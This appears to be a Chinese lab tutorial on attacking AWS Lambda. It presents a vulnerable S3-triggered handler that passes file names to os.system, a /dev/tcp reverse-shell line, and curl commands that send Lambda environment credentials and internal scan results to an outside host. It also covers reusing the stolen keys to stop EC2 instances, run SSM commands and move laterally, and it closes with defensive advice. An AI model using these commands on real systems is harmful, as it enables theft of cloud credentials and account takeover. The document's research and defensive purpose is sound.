ServerLess Aws Lambda攻击与横向方法研究
字数 1473 2025-08-27 12:33:37

AWS Lambda攻击与横向方法研究教学文档

一、前言

本文主要研究AWS Lambda的攻击场景与方法,重点解决三个核心问题:

  1. Lambda会遇到什么攻击场景
  2. 在什么情况下,从Lambda中读取到的env环境变量密钥可以接管服务器甚至整个账号
  3. 在什么情况下,可以通过Lambda权限横向到其他EC2服务器

二、Serverless与Lambda基础

1. 基本概念

Serverless(无服务器计算):

  • 不是不需要服务器,而是开发者无需考虑服务器维护
  • 计算资源作为服务提供,不以物理硬件形式出现
  • 优势:自动扩展、高可用性、减少运维成本

AWS Lambda

  • AWS提供的无服务器计算服务
  • 按事件触发执行代码
  • 自动管理底层基础设施

三、攻击场景搭建与实践

1. 创建Lambda函数

  1. 在AWS控制台创建Lambda函数
  2. 使用默认设置(包括执行角色)
  3. 保持高级设置默认

2. 添加触发器

  1. 创建S3存储桶
  2. 为Lambda函数添加S3触发器
    • 选择"所有对象创建事件"
  3. 测试触发器:
    • 上传文件到S3
    • 在CloudWatch中查看日志

3. 漏洞利用代码示例

import json
import os

def lambda_handler(event, context):
    for i in event['Records']:
        getObjectName = i['s3']['object']['key']
        getSplitObjectName = getObjectName.rsplit('.', 1)
        os.system(getSplitObjectName[0])

4. 攻击方法

4.1 反弹Shell

尝试执行反弹Shell命令:

exec /bin/sh 0</dev/tcp/ip/1234 1>&0 2>&0

注意:实际测试中可能因网络限制失败

4.2 读取环境变量

使用curl外带env信息:

curl -X POST -d \" `env` \" vps:80.jpeg

获取的关键信息:

  • AWS_ACCESS_KEY_ID
  • AWS_SECRET_ACCESS_KEY
  • AWS_SESSION_TOKEN

四、密钥利用分析

1. 默认IAM权限分析

默认Lambda执行角色通常只有以下权限:

  1. CreateLogGroup - 创建日志组
  2. CreateLogStream - 创建日志流
  3. PutLogEvents - 上传日志事件

2. 高权限角色配置

创建具有EC2完全访问权限的角色:

  1. 在IAM创建新角色
  2. 选择"Lambda"服务类型
  3. 附加"AmazonEC2FullAccess"策略
  4. 分配给Lambda函数

3. 利用高权限密钥

配置AWS CLI:

vim ~/.aws/credentials
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
aws_session_token = ...

验证权限:

aws ec2 describe-instances

注意地区问题:确保CLI配置的地区与资源所在地区一致

4. EC2控制操作

停止EC2实例:

aws ec2 stop-instances --instance-ids i-xxxxxx

执行命令(需附加SSM权限):

aws ssm send-command \
--instance-ids "i-xxxxxx" \
--document-name "AWS-RunShellScript" \
--parameters commands=ifconfig \
--output text

获取命令输出:

aws ssm list-command-invocations \
--command-id xxxxxx \
--details

五、横向移动方法

1. VPC配置

  1. 在Lambda高级设置中分配VPC
  2. 确保Lambda与目标EC2在同一VPC中
  3. 检查EC2安全组设置(需放通相应端口)

2. 内网扫描

在Lambda中执行内网扫描:

  1. 下载扫描工具:
curl -o /tmp/kscan http://172.31.xx.xx/kscan_linux_amd64
chmod 777 /tmp/kscan
  1. 执行扫描:
/tmp/kscan --spy 172.31.0.0/16 --scan -t 200 > /tmp/ok.txt
  1. 外带结果:
curl -X POST -d \" `cat /tmp/ok.txt` \" 172.31.xx.xx:8000

注意

  • 调整Lambda超时时间(默认3秒可能不足)
  • 确保有足够权限执行扫描

六、关键总结

1. Lambda攻击方式

  • 主要源于不可控的外部输入
  • 通过事件触发执行恶意代码

2. 接管服务器/账号条件

  • Lambda必须拥有自定义IAM角色
  • 角色需附加"AmazonEC2FullAccess"策略

3. 执行命令条件

  • Lambda角色需附加:
    • "AmazonSSMFullAccess"
    • "AmazonEC2RoleforSSM"
  • 目标EC2需运行SSM Agent

4. 横向移动条件

  • Lambda必须绑定VPC
  • 与目标服务器在同一VPC内
  • 目标服务器安全组放通相应端口

七、防御建议

  1. 最小权限原则:严格限制Lambda执行角色权限
  2. 输入验证:对所有外部输入进行严格过滤
  3. 环境变量保护:避免在env中存储敏感凭证
  4. VPC隔离:合理规划网络架构
  5. 日志监控:密切监控Lambda异常行为
  6. 定期审计:检查IAM角色和权限分配
AWS Lambda攻击与横向方法研究教学文档 一、前言 本文主要研究AWS Lambda的攻击场景与方法,重点解决三个核心问题: Lambda会遇到什么攻击场景 在什么情况下,从Lambda中读取到的env环境变量密钥可以接管服务器甚至整个账号 在什么情况下,可以通过Lambda权限横向到其他EC2服务器 二、Serverless与Lambda基础 1. 基本概念 Serverless (无服务器计算): 不是不需要服务器,而是开发者无需考虑服务器维护 计算资源作为服务提供,不以物理硬件形式出现 优势:自动扩展、高可用性、减少运维成本 AWS Lambda : AWS提供的无服务器计算服务 按事件触发执行代码 自动管理底层基础设施 三、攻击场景搭建与实践 1. 创建Lambda函数 在AWS控制台创建Lambda函数 使用默认设置(包括执行角色) 保持高级设置默认 2. 添加触发器 创建S3存储桶 为Lambda函数添加S3触发器 选择"所有对象创建事件" 测试触发器: 上传文件到S3 在CloudWatch中查看日志 3. 漏洞利用代码示例 4. 攻击方法 4.1 反弹Shell 尝试执行反弹Shell命令: 注意 :实际测试中可能因网络限制失败 4.2 读取环境变量 使用curl外带env信息: 获取的关键信息: AWS_ ACCESS_ KEY_ ID AWS_ SECRET_ ACCESS_ KEY AWS_ SESSION_ TOKEN 四、密钥利用分析 1. 默认IAM权限分析 默认Lambda执行角色通常只有以下权限: CreateLogGroup - 创建日志组 CreateLogStream - 创建日志流 PutLogEvents - 上传日志事件 2. 高权限角色配置 创建具有EC2完全访问权限的角色: 在IAM创建新角色 选择"Lambda"服务类型 附加"AmazonEC2FullAccess"策略 分配给Lambda函数 3. 利用高权限密钥 配置AWS CLI: 验证权限: 注意地区问题 :确保CLI配置的地区与资源所在地区一致 4. EC2控制操作 停止EC2实例: 执行命令(需附加SSM权限): 获取命令输出: 五、横向移动方法 1. VPC配置 在Lambda高级设置中分配VPC 确保Lambda与目标EC2在同一VPC中 检查EC2安全组设置(需放通相应端口) 2. 内网扫描 在Lambda中执行内网扫描: 下载扫描工具: 执行扫描: 外带结果: 注意 : 调整Lambda超时时间(默认3秒可能不足) 确保有足够权限执行扫描 六、关键总结 1. Lambda攻击方式 主要源于不可控的外部输入 通过事件触发执行恶意代码 2. 接管服务器/账号条件 Lambda必须拥有自定义IAM角色 角色需附加"AmazonEC2FullAccess"策略 3. 执行命令条件 Lambda角色需附加: "AmazonSSMFullAccess" "AmazonEC2RoleforSSM" 目标EC2需运行SSM Agent 4. 横向移动条件 Lambda必须绑定VPC 与目标服务器在同一VPC内 目标服务器安全组放通相应端口 七、防御建议 最小权限原则:严格限制Lambda执行角色权限 输入验证:对所有外部输入进行严格过滤 环境变量保护:避免在env中存储敏感凭证 VPC隔离:合理规划网络架构 日志监控:密切监控Lambda异常行为 定期审计:检查IAM角色和权限分配